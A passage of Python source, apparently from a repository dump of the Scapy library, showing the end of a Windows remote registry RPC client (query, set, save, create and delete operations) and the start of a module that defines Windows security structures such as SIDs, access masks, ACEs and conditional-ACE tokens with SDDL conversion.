pointer to length\n                ),\n                timeout=timeout,\n            )\n\n            if response.status == 0x00000103:  # ERROR_NO_MORE_ITEMS\n                break\n            elif response.status != 0:\n                raise ValueError(response.status)\n\n            # Get the value name\n            lpValueName = response.valueof(\"lpValueNameOut\")\n\n            # Get value content\n            req = BaseRegQueryValue_Request(\n                hKey=key_handle,\n                lpValueName=lpValueName,\n                lpType=0,\n                lpcbData=1024,\n                lpcbLen=0,\n                lpData=NDRPointer(\n                    value=NDRConformantArray(\n                        max_count=1024,\n                        value=NDRVaryingArray(actual_count=0, value=b\"\"),\n                    )\n                ),\n            )\n\n            # Send request\n            response = self.sr1_req(req, timeout=timeout)\n            if response.status == 0x000000EA:  # ERROR_MORE_DATA\n                # The buffer was too small, we need to retry with a larger one\n                req.lpcbData = response.lpcbData\n                req.lpData.value.max_count = response.lpcbData.value\n                response = self.sr1_req(req, timeout=timeout)\n\n            # Check the response status\n            elif response.status != 0:\n                raise ValueError(response.status)\n\n            index += 1\n            results.append(\n                RegEntry.frombytes(\n                    lpValueName.valueof(\"Buffer\")[:-1].decode(),\n                    response.valueof(\"lpType\"),\n                    response.valueof(\"lpData\"),\n                )\n            )\n\n        return results\n\n    def get_value(\n        self,\n        key_handle: NDRContextHandle,\n        value_name: str,\n        timeout: int = 5,\n    ) -> RegEntry:\n        \"\"\"\n        Get the value of a given registry key.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param value_name: The name of the value to retrieve.\n        :param timeout: The timeout for the request.\n        :return: The response packet containing the value data.\n        \"\"\"\n\n        pkt = BaseRegQueryValue_Request(\n            hKey=key_handle,\n            lpValueName=value_name,\n            lpType=0,\n            lpcbData=1024,\n            lpcbLen=0,\n            lpData=NDRPointer(\n                value=NDRConformantArray(\n                    max_count=1024, value=NDRVaryingArray(actual_count=0, value=b\"\")\n                )\n            ),\n        )\n\n        response = self.sr1_req(pkt, timeout=timeout)\n\n        if response.status == 0x000000EA:  # ERROR_MORE_DATA\n            # The buffer was too small, we need to retry with a larger one\n            pkt.lpcbData = response.lpcbData\n            pkt.lpData.value.max_count = response.lpcbData.value\n            response = self.sr1_req(pkt, timeout=timeout)\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n        return RegEntry.frombytes(\n            value_name,\n            response.valueof(\"lpType\"),\n            response.valueof(\"lpData\"),\n        )\n\n    def save_subkey(\n        self,\n        key_handle: NDRContextHandle,\n        file_path: str,\n        security_attributes: PRPC_SECURITY_ATTRIBUTES = None,\n        timeout: int = 5,\n    ) -> None:\n        \"\"\"\n        Save a given registry key to a file.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param file_path: The path to the file where the key will be saved.\n            Default path is %WINDIR%\\\\System32, which is readable by all users.\n        :param security_attributes: Security attributes for the saved key.\n        :param timeout: The timeout for the request.\n        \"\"\"\n\n        response = self.sr1_req(\n            BaseRegSaveKey_Request(\n                hKey=key_handle,\n                lpFile=RPC_UNICODE_STRING(Buffer=file_path),\n                pSecurityAttributes=security_attributes,\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n    def set_value(\n        self,\n        key_handle: NDRContextHandle,\n        entry: RegEntry,\n        timeout: int = 5,\n    ) -> None:\n        \"\"\"\n        Set a given value for a registry key.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param entry: The 'RegEntry' entry to set, containing the name, type and data\n            of the value.\n        :param timeout: The timeout for the request.\n        \"\"\"\n        data = entry.encode()\n\n        response = self.sr1_req(\n            BaseRegSetValue_Request(\n                hKey=key_handle,\n                lpValueName=RPC_UNICODE_STRING(\n                    Buffer=entry.reg_name.encode(\"utf-8\") + b\"\\x00\"\n                ),\n                dwType=entry.reg_type.value,\n                cbData=len(data),\n                lpData=data,\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n    def create_subkey(\n        self,\n        root_key_handle: NDRContextHandle,\n        subkey_path: str,\n        desired_access_rights: int = 0x2000000,  # Maximum allowed\n        options: RegOptions = RegOptions.REG_OPTION_NON_VOLATILE,\n        security_attributes: PRPC_SECURITY_ATTRIBUTES = None,\n        timeout: int = 5,\n    ) -> NDRContextHandle:\n        \"\"\"\n        Create a given subkey under a registry key.\n\n        :param client: The DCERPC client.\n        :param root_key_handle: The handle to the root key.\n        :param subkey_path: The name of the subkey to create.\n        :param desired_access_rights: The desired access rights for the subkey.\n        :param options: The options for the subkey.\n        :param security_attributes: Security attributes for the created key.\n        :param timeout: The timeout for the request.\n        :return: The handle to the created subkey.\n        \"\"\"\n\n        if not str(subkey_path).endswith(\"\\x00\"):\n            subkey_path = str(subkey_path) + \"\\x00\"\n\n        response = self.sr1_req(\n            BaseRegCreateKey_Request(\n                hKey=root_key_handle,\n                lpSubKey=RPC_UNICODE_STRING(Buffer=subkey_path),\n                samDesired=desired_access_rights,\n                dwOptions=options,\n                lpSecurityAttributes=security_attributes,\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n        return response.phkResult\n\n    def delete_subkey(\n        self,\n        root_key_handle: NDRContextHandle,\n        subkey_path: str,\n        timeout: int = 5,\n    ) -> None:\n        \"\"\"\n        Delete a given subkey from a registry key.\n\n        :param client: The DCERPC client.\n        :param hKey: The handle to the root key.\n        :param subkey_path: The name of the subkey to remove.\n        :param timeout: The timeout for the request.\n        \"\"\"\n\n        if not str(subkey_path).endswith(\"\\x00\"):\n            subkey_path = str(subkey_path) + \"\\x00\"\n\n        response = self.sr1_req(\n            BaseRegDeleteKey_Request(\n                hKey=root_key_handle,\n                lpSubKey=RPC_UNICODE_STRING(Buffer=subkey_path),\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n    def delete_value(\n        self,\n        key_handle: NDRContextHandle,\n        value_name: str,\n        timeout: int = 5,\n    ) -> None:\n        \"\"\"\n        Delete a given value from a registry key.\n\n        :param client: The DCERPC client.\n        :param hKey: The handle to the subkey to remove.\n        :param value_name: The name of the value to delete.\n        :param timeout: The timeout for the request.\n        \"\"\"\n\n        if not str(value_name).endswith(\"\\x00\"):\n            value_name = str(value_name) + \"\\x00\"\n\n        response = self.sr1_req(\n            BaseRegDeleteValue_Request(\n                hKey=key_handle,\n                lpValueName=RPC_UNICODE_STRING(Buffer=value_name),\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n    def close_key(\n        self,\n        key_handle: NDRContextHandle,\n        timeout: int = 5,\n    ) -> None:\n        \"\"\"\n        Close a given registry key handle.\n\n        :param client: The DCERPC client.\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param timeout: The timeout for the request.\n        \"\"\"\n\n        response = self.sr1_req(\n            BaseRegCloseKey_Request(\n                hKey=key_handle,\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n"
  },
  {
    "path": "scapy/layers/windows/security.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nPython objects for Microsoft Windows security structures.\n\"\"\"\n\nimport re\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    FlagValue,\n    LEIntField,\n    LELongField,\n    LenField,\n    LEShortEnumField,\n    LEShortField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    ShortField,\n    StrFieldUtf16,\n    StrFixedLenField,\n    StrLenField,\n    StrLenFieldUtf16,\n    UUIDField,\n)\n\nfrom scapy.layers.ntlm import (\n    _NTLM_ENUM,\n    _NTLM_post_build,\n    _NTLMPayloadField,\n    _NTLMPayloadPacket,\n)\n\n# [MS-DTYP] sect 2.4.1\n\n\nclass WINNT_SID_IDENTIFIER_AUTHORITY(Packet):\n\n    fields_desc = [\n        StrFixedLenField(\"Value\", b\"\\x00\\x00\\x00\\x00\\x00\\x01\", length=6),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Packet:\n        return conf.padding_layer\n\n\n# [MS-DTYP] sect 2.4.2\n\n\nclass WINNT_SID(Packet):\n    fields_desc = [\n        ByteField(\"Revision\", 1),\n        FieldLenField(\"SubAuthorityCount\", None, count_of=\"SubAuthority\", fmt=\"B\"),\n        PacketField(\n            \"IdentifierAuthority\",\n            WINNT_SID_IDENTIFIER_AUTHORITY(),\n            WINNT_SID_IDENTIFIER_AUTHORITY,\n        ),\n        FieldListField(\n            \"SubAuthority\",\n            [0],\n            LEIntField(\"\", 0),\n            count_from=lambda pkt: pkt.SubAuthorityCount,\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Packet:\n        return conf.padding_layer\n\n    _SID_REG = re.compile(r\"^S-(\\d)-(\\d+)((?:-\\d+)*)$\")\n\n    @staticmethod\n    def fromstr(x: str):\n        \"\"\"\n        Helper to create a SID from its string representation.\n\n        :param x: string representation of the SID like \"S-1-5-18\"\n        :type x: str\n\n        Example:\n\n            >>> from scapy.layers.windows.security import WINNT_SID\n            >>> WINNT_SID.fromstr(\"S-1-5-18\")\n            <WINNT_SID  Revision=1 IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY\n            Value=b'\\x00\\x00\\x00\\x00\\x00\\x05' |> SubAuthority=[18] |>\n            >>> _.summary()\n            >>> 'S-1-5-18'\n        \"\"\"\n\n        m = WINNT_SID._SID_REG.match(x)\n        if not m:\n            raise ValueError(\"Invalid SID format !\")\n        rev, authority, subauthority = m.groups()\n        return WINNT_SID(\n            Revision=int(rev),\n            IdentifierAuthority=WINNT_SID_IDENTIFIER_AUTHORITY(\n                Value=struct.pack(\">Q\", int(authority))[2:]\n            ),\n            SubAuthority=[int(x) for x in subauthority[1:].split(\"-\")],\n        )\n\n    def summary(self) -> str:\n        \"\"\"\n        Return the string representation of the SID.\n        \"\"\"\n        return \"S-%s-%s%s\" % (\n            self.Revision,\n            struct.unpack(\">Q\", b\"\\x00\\x00\" + self.IdentifierAuthority.Value)[0],\n            (\n                (\"-%s\" % \"-\".join(str(x) for x in self.SubAuthority))\n                if self.SubAuthority\n                else \"\"\n            ),\n        )\n\n\n# https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers\n\nWELL_KNOWN_SIDS = {\n    # Universal well-known SID\n    \"S-1-0-0\": \"Null SID\",\n    \"S-1-1-0\": \"Everyone\",\n    \"S-1-2-0\": \"Local\",\n    \"S-1-2-1\": \"Console Logon\",\n    \"S-1-3-0\": \"Creator Owner ID\",\n    \"S-1-3-1\": \"Creator Group ID\",\n    \"S-1-3-2\": \"Owner Server\",\n    \"S-1-3-3\": \"Group Server\",\n    \"S-1-3-4\": \"Owner Rights\",\n    \"S-1-4\": \"Non-unique Authority\",\n    \"S-1-5\": \"NT Authority\",\n    \"S-1-5-80-0\": \"All Services\",\n    # NT well-known SIDs\n    \"S-1-5-1\": \"Dialup\",\n    \"S-1-5-113\": \"Local account\",\n    \"S-1-5-114\": \"Local account and member of Administrators group\",\n    \"S-1-5-2\": \"Network\",\n    \"S-1-5-3\": \"Batch\",\n    \"S-1-5-4\": \"Interactive\",\n    \"S-1-5-6\": \"Service\",\n    \"S-1-5-7\": \"Anonymous Logon\",\n    \"S-1-5-8\": \"Proxy\",\n    \"S-1-5-9\": \"Enterprise Domain Controllers\",\n    \"S-1-5-10\": \"Self\",\n    \"S-1-5-11\": \"Authenticated Users\",\n    \"S-1-5-12\": \"Restricted Code\",\n    \"S-1-5-13\": \"Terminal Server User\",\n    \"S-1-5-14\": \"Remote Interactive Logon\",\n    \"S-1-5-15\": \"This Organization\",\n    \"S-1-5-17\": \"IUSR\",\n    \"S-1-5-18\": \"System (or LocalSystem)\",\n    \"S-1-5-19\": \"NT Authority (LocalService)\",\n    \"S-1-5-20\": \"Network Service\",\n    \"S-1-5-32-544\": \"Administrators\",\n    \"S-1-5-32-545\": \"Users\",\n    \"S-1-5-32-546\": \"Guests\",\n    \"S-1-5-32-547\": \"Power Users\",\n    \"S-1-5-32-548\": \"Account Operators\",\n    \"S-1-5-32-549\": \"Server Operators\",\n    \"S-1-5-32-550\": \"Print Operators\",\n    \"S-1-5-32-551\": \"Backup Operators\",\n    \"S-1-5-32-552\": \"Replicators\",\n    \"S-1-5-32-554\": r\"Builtin\\Pre-Windows 2000 Compatible Access\",\n    \"S-1-5-32-555\": r\"Builtin\\Remote Desktop Users\",\n    \"S-1-5-32-556\": r\"Builtin\\Network Configuration Operators\",\n    \"S-1-5-32-557\": r\"Builtin\\Incoming Forest Trust Builders\",\n    \"S-1-5-32-558\": r\"Builtin\\Performance Monitor Users\",\n    \"S-1-5-32-559\": r\"Builtin\\Performance Log Users\",\n    \"S-1-5-32-560\": r\"Builtin\\Windows Authorization Access Group\",\n    \"S-1-5-32-561\": r\"Builtin\\Terminal Server License Servers\",\n    \"S-1-5-32-562\": r\"Builtin\\Distributed COM Users\",\n    \"S-1-5-32-568\": r\"Builtin\\IIS_IUSRS\",\n    \"S-1-5-32-569\": r\"Builtin\\Cryptographic Operators\",\n    \"S-1-5-32-573\": r\"Builtin\\Event Log Readers\",\n    \"S-1-5-32-574\": r\"Builtin\\Certificate Service DCOM Access\",\n    \"S-1-5-32-575\": r\"Builtin\\RDS Remote Access Servers\",\n    \"S-1-5-32-576\": r\"Builtin\\RDS Endpoint Servers\",\n    \"S-1-5-32-577\": r\"Builtin\\RDS Management Servers\",\n    \"S-1-5-32-578\": r\"Builtin\\Hyper-V Administrators\",\n    \"S-1-5-32-579\": r\"Builtin\\Access Control Assistance Operators\",\n    \"S-1-5-32-580\": r\"Builtin\\Remote Management Users\",\n    \"S-1-5-32-581\": r\"Builtin\\Default Account\",\n    \"S-1-5-32-582\": r\"Builtin\\Storage Replica Admins\",\n    \"S-1-5-32-583\": r\"Builtin\\Device Owners\",\n    \"S-1-5-64-10\": \"NTLM Authentication\",\n    \"S-1-5-64-14\": \"SChannel Authentication\",\n    \"S-1-5-64-21\": \"Digest Authentication\",\n    \"S-1-5-80\": \"NT Service\",\n    \"S-1-5-80-0\": \"All Services\",\n    \"S-1-5-83-0\": r\"NT VIRTUAL MACHINE\\Virtual Machines\",\n}\n\n\n# [MS-DTYP] sect 2.4.3\n\n_WINNT_ACCESS_MASK = {\n    0x80000000: \"GENERIC_READ\",\n    0x40000000: \"GENERIC_WRITE\",\n    0x20000000: \"GENERIC_EXECUTE\",\n    0x10000000: \"GENERIC_ALL\",\n    0x02000000: \"MAXIMUM_ALLOWED\",\n    0x01000000: \"ACCESS_SYSTEM_SECURITY\",\n    0x00100000: \"SYNCHRONIZE\",\n    0x00080000: \"WRITE_OWNER\",\n    0x00040000: \"WRITE_DACL\",\n    0x00020000: \"READ_CONTROL\",\n    0x00010000: \"DELETE\",\n}\n\n\n# [MS-DTYP] sect 2.4.4.1\n\n\nWINNT_ACE_FLAGS = {\n    0x01: \"OBJECT_INHERIT\",\n    0x02: \"CONTAINER_INHERIT\",\n    0x04: \"NO_PROPAGATE_INHERIT\",\n    0x08: \"INHERIT_ONLY\",\n    0x10: \"INHERITED_ACE\",\n    0x40: \"SUCCESSFUL_ACCESS\",\n    0x80: \"FAILED_ACCESS\",\n}\n\n\nclass WINNT_ACE_HEADER(Packet):\n    \"\"\"\n    Access Control Entry (ACE) Header\n    It is composed of 3 fields, followed by ACE-specific data:\n\n        - AceType (1 byte): see below for standard values\n        - AceFlags (1 byte): see WINNT_ACE_FLAGS\n        - AceSize (2 bytes): total size of the ACE, including the header\n                             and the ACE-specific data.\n    \"\"\"\n\n    fields_desc = [\n        ByteEnumField(\n            \"AceType\",\n            0,\n            {\n                0x00: \"ACCESS_ALLOWED\",\n                0x01: \"ACCESS_DENIED\",\n                0x02: \"SYSTEM_AUDIT\",\n                0x03: \"SYSTEM_ALARM\",\n                0x04: \"ACCESS_ALLOWED_COMPOUND\",\n                0x05: \"ACCESS_ALLOWED_OBJECT\",\n                0x06: \"ACCESS_DENIED_OBJECT\",\n                0x07: \"SYSTEM_AUDIT_OBJECT\",\n                0x08: \"SYSTEM_ALARM_OBJECT\",\n                0x09: \"ACCESS_ALLOWED_CALLBACK\",\n                0x0A: \"ACCESS_DENIED_CALLBACK\",\n                0x0B: \"ACCESS_ALLOWED_CALLBACK_OBJECT\",\n                0x0C: \"ACCESS_DENIED_CALLBACK_OBJECT\",\n                0x0D: \"SYSTEM_AUDIT_CALLBACK\",\n                0x0E: \"SYSTEM_ALARM_CALLBACK\",\n                0x0F: \"SYSTEM_AUDIT_CALLBACK_OBJECT\",\n                0x10: \"SYSTEM_ALARM_CALLBACK_OBJECT\",\n                0x11: \"SYSTEM_MANDATORY_LABEL\",\n                0x12: \"SYSTEM_RESOURCE_ATTRIBUTE\",\n                0x13: \"SYSTEM_SCOPED_POLICY_ID\",\n            },\n        ),\n        FlagsField(\n            \"AceFlags\",\n            0,\n            8,\n            WINNT_ACE_FLAGS,\n        ),\n        LenField(\"AceSize\", None, fmt=\"<H\", adjust=lambda x: x + 4),\n    ]\n\n    def extract_padding(self, p):\n        return p[: self.AceSize - 4], p[self.AceSize - 4 :]\n\n    # fmt: off\n    def extractData(self, accessMask=None):\n        \"\"\"\n        Return the ACE data as usable data.\n\n        :param accessMask: context-specific flags for the ACE Mask.\n        \"\"\"\n        sid_string = self.payload.Sid.summary()\n        mask = self.payload.Mask\n        if accessMask is not None:\n            mask = FlagValue(mask, FlagsField(\"\", 0, 32, accessMask).names)\n        ace_flag_string = str(\n            FlagValue(self.AceFlags, [\"OI\", \"CI\", \"NP\", \"IO\", \"ID\", \"SA\", \"FA\"])\n        )\n        object_guid = getattr(self.payload, \"ObjectType\", \"\")\n        inherit_object_guid = getattr(self.payload, \"InheritedObjectType\", \"\")\n        # ApplicationData -> conditional expression\n        cond_expr = None\n        if hasattr(self.payload, \"ApplicationData\"):\n            # Parse tokens\n            res = []\n            for ct in self.payload.ApplicationData.Tokens:\n                if ct.TokenType in [\n                    # binary operators\n                    0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x88, 0x8e, 0x8f,\n                    0xa0, 0xa1\n                ]:\n                    t1 = res.pop(-1)\n                    t0 = res.pop(-1)\n                    tt = ct.sprintf(\"%TokenType%\")\n                    if ct.TokenType in [0xa0, 0xa1]:  # && and ||\n                        res.append(f\"({t0}) {tt} ({t1})\")\n                    else:\n                        res.append(f\"{t0} {tt} {t1}\")\n                elif ct.TokenType in [\n                    # unary operators\n                    0x87, 0x8d, 0xa2, 0x89, 0x8a, 0x8b, 0x8c, 0x91, 0x92, 0x93\n                ]:\n                    t0 = res.pop(-1)\n                    tt = ct.sprintf(\"%TokenType%\")\n                    res.append(f\"{tt}{t0}\")\n                elif ct.TokenType in [\n                    # values\n                    0x01, 0x02, 0x03, 0x04, 0x10, 0x18, 0x50, 0x51, 0xf8, 0xf9,\n                    0xfa, 0xfb\n                ]:\n                    def lit(ct):\n                        if ct.TokenType in [0x10, 0x18]:  # literal strings\n                            return '\"%s\"' % ct.value\n                        elif ct.TokenType == 0x50:  # composite\n                            return \"({%s})\" % \",\".join(lit(x) for x in ct.value)\n                        else:\n                            return str(ct.value)\n                    res.append(lit(ct))\n                elif ct.TokenType == 0x00:  # padding\n                    pass\n                else:\n                    raise ValueError(\"Unhandled token type %s\" % ct.TokenType)\n            if len(res) != 1:\n                raise ValueError(\"Incomplete SDDL !\")\n            cond_expr = \"(%s)\" % res[0]\n        return {\n            \"ace-flags-string\": ace_flag_string,\n            \"sid-string\": sid_string,\n            \"mask\": mask,\n            \"object-guid\": object_guid,\n            \"inherited-object-guid\": inherit_object_guid,\n            \"cond-expr\": cond_expr,\n        }\n    # fmt: on\n\n    def toSDDL(self, accessMask=None):\n        \"\"\"\n        Return SDDL\n        \"\"\"\n        data = self.extractData(accessMask=accessMask)\n        ace_rights = \"\"  # TODO\n        if self.AceType in [0x9, 0xA, 0xB, 0xD]:  # Conditional ACE\n            conditional_ace_type = {\n                0x09: \"XA\",\n                0x0A: \"XD\",\n                0x0B: \"XU\",\n                0x0D: \"ZA\",\n            }[self.AceType]\n            return \"D:(%s)\" % (\n                \";\".join(\n                    x\n                    for x in [\n                        conditional_ace_type,\n                        data[\"ace-flags-string\"],\n                        ace_rights,\n                        str(data[\"object-guid\"]),\n                        str(data[\"inherited-object-guid\"]),\n                        data[\"sid-string\"],\n                        data[\"cond-expr\"],\n                    ]\n                    if x is not None\n                )\n            )\n        else:\n            ace_type = {\n                0x00: \"A\",\n                0x01: \"D\",\n                0x02: \"AU\",\n                0x05: \"OA\",\n                0x06: \"OD\",\n                0x07: \"OU\",\n                0x11: \"ML\",\n                0x13: \"SP\",\n            }[self.AceType]\n            return \"(%s)\" % (\n                \";\".join(\n                    x\n                    for x in [\n                        ace_type,\n                        data[\"ace-flags-string\"],\n                        ace_rights,\n                        str(data[\"object-guid\"]),\n                        str(data[\"inherited-object-guid\"]),\n                        data[\"sid-string\"],\n                        data[\"cond-expr\"],\n                    ]\n                    if x is not None\n                )\n            )\n\n\n# [MS-DTYP] sect 2.4.4.2\n\n\nclass WINNT_ACCESS_ALLOWED_ACE(Packet):\n    fields_desc = [\n        FlagsField(\"Mask\", 0, -32, _WINNT_ACCESS_MASK),\n        PacketField(\"Sid\", WINNT_SID(), WINNT_SID),\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_ACE, AceType=0x00)\n\n\n# [MS-DTYP] sect 2.4.4.3\n\n\nclass WINNT_ACCESS_ALLOWED_OBJECT_ACE(Packet):\n    fields_desc = [\n        FlagsField(\"Mask\", 0, -32, _WINNT_ACCESS_MASK),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"OBJECT_TYPE_PRESENT\",\n                0x00000002: \"INHERITED_OBJECT_TYPE_PRESENT\",\n            },\n        ),\n        ConditionalField(\n            UUIDField(\"ObjectType\", None, uuid_fmt=UUIDField.FORMAT_LE),\n            lambda pkt: pkt.Flags.OBJECT_TYPE_PRESENT,\n        ),\n        ConditionalField(\n            UUIDField(\"InheritedObjectType\", None, uuid_fmt=UUIDField.FORMAT_LE),\n            lambda pkt: pkt.Flags.INHERITED_OBJECT_TYPE_PRESENT,\n        ),\n        PacketField(\"Sid\", WINNT_SID(), WINNT_SID),\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_OBJECT_ACE, AceType=0x05)\n\n\n# [MS-DTYP] sect 2.4.4.4\n\n\nclass WINNT_ACCESS_DENIED_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_ACE, AceType=0x01)\n\n\n# [MS-DTYP] sect 2.4.4.5\n\n\nclass WINNT_ACCESS_DENIED_OBJECT_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_OBJECT_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_OBJECT_ACE, AceType=0x06)\n\n\n# [MS-DTYP] sect 2.4.4.17.4+\n\n\nclass WINNT_APPLICATION_DATA_LITERAL_TOKEN(Packet):\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# fmt: off\nWINNT_APPLICATION_DATA_LITERAL_TOKEN.fields_desc = [\n    ByteEnumField(\n        \"TokenType\",\n        0,\n        {\n            # [MS-DTYP] sect 2.4.4.17.5\n            0x00: \"Padding token\",\n            0x01: \"Signed int8\",\n            0x02: \"Signed int16\",\n            0x03: \"Signed int32\",\n            0x04: \"Signed int64\",\n            0x10: \"Unicode\",\n            0x18: \"Octet String\",\n            0x50: \"Composite\",\n            0x51: \"SID\",\n            # [MS-DTYP] sect 2.4.4.17.6\n            0x80: \"==\",\n            0x81: \"!=\",\n            0x82: \"<\",\n            0x83: \"<=\",\n            0x84: \">\",\n            0x85: \">=\",\n            0x86: \"Contains\",\n            0x88: \"Any_of\",\n            0x8e: \"Not_Contains\",\n            0x8f: \"Not_Any_of\",\n            0x89: \"Member_of\",\n            0x8a: \"Device_Member_of\",\n            0x8b: \"Member_of_Any\",\n            0x8c: \"Device_Member_of_Any\",\n            0x90: \"Not_Member_of\",\n            0x91: \"Not_Device_Member_of\",\n            0x92: \"Not_Member_of_Any\",\n            0x93: \"Not_Device_Member_of_Any\",\n            # [MS-DTYP] sect 2.4.4.17.7\n            0x87: \"Exists\",\n            0x8d: \"Not_Exists\",\n            0xa0: \"&&\",\n            0xa1: \"||\",\n            0xa2: \"!\",\n            # [MS-DTYP] sect 2.4.4.17.8\n            0xf8: \"Local attribute\",\n            0xf9: \"User Attribute\",\n            0xfa: \"Resource Attribute\",\n            0xfb: \"Device Attribute\",\n        }\n    ),\n    ConditionalField(\n        # Strings\n        LEIntField(\"length\", 0),\n        lambda pkt: pkt.TokenType in [\n            0x10,  # Unicode string\n            0x18,  # Octet string\n            0xf8, 0xf9, 0xfa, 0xfb,  # Attribute tokens\n            0x50,  # Composite\n        ]\n    ),\n    ConditionalField(\n        MultipleTypeField(\n            [\n                (\n                    LELongField(\"value\", 0),\n                    lambda pkt: pkt.TokenType in [\n                        0x01,  # signed int8\n                        0x02,  # signed int16\n                        0x03,  # signed int32\n                        0x04,  # signed int64\n                    ]\n                ),\n                (\n                    StrLenFieldUtf16(\"value\", b\"\", length_from=lambda pkt: pkt.length),\n                    lambda pkt: pkt.TokenType in [\n                        0x10,  # Unicode string\n                        0xf8, 0xf9, 0xfa, 0xfb,  # Attribute tokens\n                    ]\n                ),\n                (\n                    StrLenField(\"value\", b\"\", length_from=lambda pkt: pkt.length),\n                    lambda pkt: pkt.TokenType == 0x18,  # Octet string\n                ),\n                (\n                    PacketListField(\"value\", [], WINNT_APPLICATION_DATA_LITERAL_TOKEN,\n                                    length_from=lambda pkt: pkt.length),\n                    lambda pkt: pkt.TokenType == 0x50,  # Composite\n                ),\n\n            ],\n            StrFixedLenField(\"value\", b\"\", length=0),\n        ),\n        lambda pkt: pkt.TokenType in [\n            0x01, 0x02, 0x03, 0x04, 0x10, 0x18, 0xf8, 0xf9, 0xfa, 0xfb, 0x50\n        ]\n    ),\n    ConditionalField(\n        # Literal\n        ByteEnumField(\"sign\", 0, {\n            0x01: \"+\",\n            0x02: \"-\",\n            0x03: \"None\",\n        }),\n        lambda pkt: pkt.TokenType in [\n            0x01,  # signed int8\n            0x02,  # signed int16\n            0x03,  # signed int32\n            0x04,  # signed int64\n        ]\n    ),\n    ConditionalField(\n        # Literal\n        ByteEnumField(\"base\", 0, {\n            0x01: \"Octal\",\n            0x02: \"Decimal\",\n            0x03: \"Hexadecimal\",\n        }),\n        lambda pkt: pkt.TokenType in [\n            0x01,  # signed int8\n            0x02,  # signed int16\n            0x03,  # signed int32\n            0x04,  # signed int64\n        ]\n    ),\n]\n# fmt: on\n\n\nclass WINNT_APPLICATION_DATA(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Magic\", b\"\\x61\\x72\\x74\\x78\", length=4),\n        PacketListField(\n            \"Tokens\",\n            [],\n            WINNT_APPLICATION_DATA_LITERAL_TOKEN,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-DTYP] sect 2.4.4.6\n\n\nclass WINNT_ACCESS_ALLOWED_CALLBACK_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc + [\n        PacketField(\n            \"ApplicationData\", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA\n        ),\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_CALLBACK_ACE, AceType=0x09)\n\n\n# [MS-DTYP] sect 2.4.4.7\n\n\nclass WINNT_ACCESS_DENIED_CALLBACK_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_CALLBACK_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_CALLBACK_ACE, AceType=0x0A)\n\n\n# [MS-DTYP] sect 2.4.4.8\n\n\nclass WINNT_ACCESS_ALLOWED_CALLBACK_OBJECT_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_OBJECT_ACE.fields_desc + [\n        PacketField(\n            \"ApplicationData\", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA\n        ),\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_CALLBACK_OBJECT_ACE, AceType=0x0B)\n\n\n# [MS-DTYP] sect 2.4.4.9\n\n\nclass WINNT_ACCESS_DENIED_CALLBACK_OBJECT_ACE(Packet):\n    fields_desc = WINNT_ACCESS_DENIED_OBJECT_ACE.fields_desc + [\n        PacketField(\n            \"ApplicationData\", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA\n        ),\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_CALLBACK_OBJECT_ACE, AceType=0x0C)\n\n\n# [MS-DTYP] sect 2.4.4.10\n\n\nclass WINNT_SYSTEM_AUDIT_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_ACE, AceType=0x02)\n\n\n# [MS-DTYP] sect 2.4.4.11\n\n\nclass WINNT_SYSTEM_AUDIT_OBJECT_ACE(Packet):\n    # doc is wrong.\n    fields_desc = 